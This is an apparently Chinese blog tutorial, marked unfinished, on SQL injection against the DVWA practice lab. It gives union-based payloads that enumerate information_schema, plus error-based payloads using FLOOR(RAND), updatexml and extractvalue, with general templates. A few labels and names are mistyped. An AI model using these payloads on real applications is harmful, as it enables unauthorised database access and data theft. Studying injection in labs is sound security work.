SQL注入深入基础以及进阶(未完成)

22次阅读
没有评论

共计 2015 个字符,预计需要花费 6 分钟才能阅读完成。

SQL注入深入基础以及进阶(未完成)

SQL绕过进阶将会单独开一个专题

本次我们将会以DVWA靶场的数据库为例讲解

1.联合注入

SQL注入深入基础以及进阶(未完成)

这是一段正常的查询语句,其中user_id是用户可控的地方

我们可以结合union select 语句同时查询多个结果

SQL注入深入基础以及进阶(未完成)

我们可以先通过输入数字判断我们目前所在表有多少列,然后结合information schema查询其他表的数据

关于information schema的结构

SQL注入深入基础以及进阶(未完成)

information schema中含有许多记录着数据库结构的表

其中tables记录表名,schemata记录库名,columns记录着列名

只要你知道了一个数据库的库名,表名,列名你就可以查询对应的数据

如我们可以通过库名.表名的方式访问一个表,如:

select * from users where user_id=-1 union select 1,user,2,3,4,5,6,7 from dvwa.users

SQL注入深入基础以及进阶(未完成)

这里输入user_id=-1就是为了让前面的查询查不到任何东西,一般情况下前端只会返回第一行的数据,所以我们要搭配group_concat()函数使用

SQL注入深入基础以及进阶(未完成)

这样可以一次性输出全部数据

接下来我们结合information_schema库实现查询任意数据

查询表名

SQL注入深入基础以及进阶(未完成)

实际测试有一个问题当我们进行查询的时候数据库会报错

SQL注入深入基础以及进阶(未完成)

这里是由于union连接的字段的字符规则不一样,这里我们暂时不去深入理解。如果实战中遇到这种情况我们可以将其进行编码,即在table_name外层套一个hex()

SQL注入深入基础以及进阶(未完成)

然后将其解码即可

我们这里列出union查询的基本语句

select * from users where user_id=-1 union select 1,group_concat(aaa),2,3,4,5,6,7 from information_schema.bbb where TABLE_SCHEMA='ccc'

aaa代表着列名,bbb代表着表名,ccc代表你要查询的数据库,如果你要查询的数据库就是当前的数据库也可以输入database(),使用具体库名的时候不要忘记带上你的单引号qwq

对应搭配

table_name——information_schema.tables

column_name——information.schema.column

schema_name——information.schema.schemata

2.报错注入

报错注入的基本原理就是在某些函数中插入查询语句,函数报错的同时会执行查询语句并返回结果

接下来我们挨个讲解这些函数

1.FLOOR()

这个函数的运用比较复杂而且限制较多,一般情况下并不推荐使用此函数进行报错注入

使用示例:

SELECT * FROM users 
WHERE user_id=1 
UNION 
SELECT 1, COUNT(*), CONCAT(
    (SELECT DATABASE()), 
    FLOOR(RAND(0)*2)
) AS x 
FROM information_schema.tables 
GROUP BY x;
SQL注入深入基础以及进阶(未完成)
select * from users where user_id=1 union SELECT COUNT(*), CONCAT(
    (SELECT DATABASE()),
    FLOOR(RAND(0)*2)
) AS x,3,4,5,6,8
FROM information_schema.tables
GROUP BY x;
SQL注入深入基础以及进阶(未完成)

其中第二种方法还需要用到union语句,确实麻烦。有想法的读者可以自行下来了解

2.extractvalue()

相比之下这个语句就显得更加友好

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

SQL注入深入基础以及进阶(未完成)

通用格式是1 and (updatexml(1,concat(0x7e,(查询语句),0x7e),1));

关于:

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白

3.extractvalue()

extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。

如:

SQL注入深入基础以及进阶(未完成)

通用语句是:id=1 and extractvalue(1,concat(0x7e,(select user(),0x7e)))

还有一个exp()函数,这个函数和MySQL版本有些联系且用到的时候不多,故不再讲解

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-04-28发表,共计2015字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)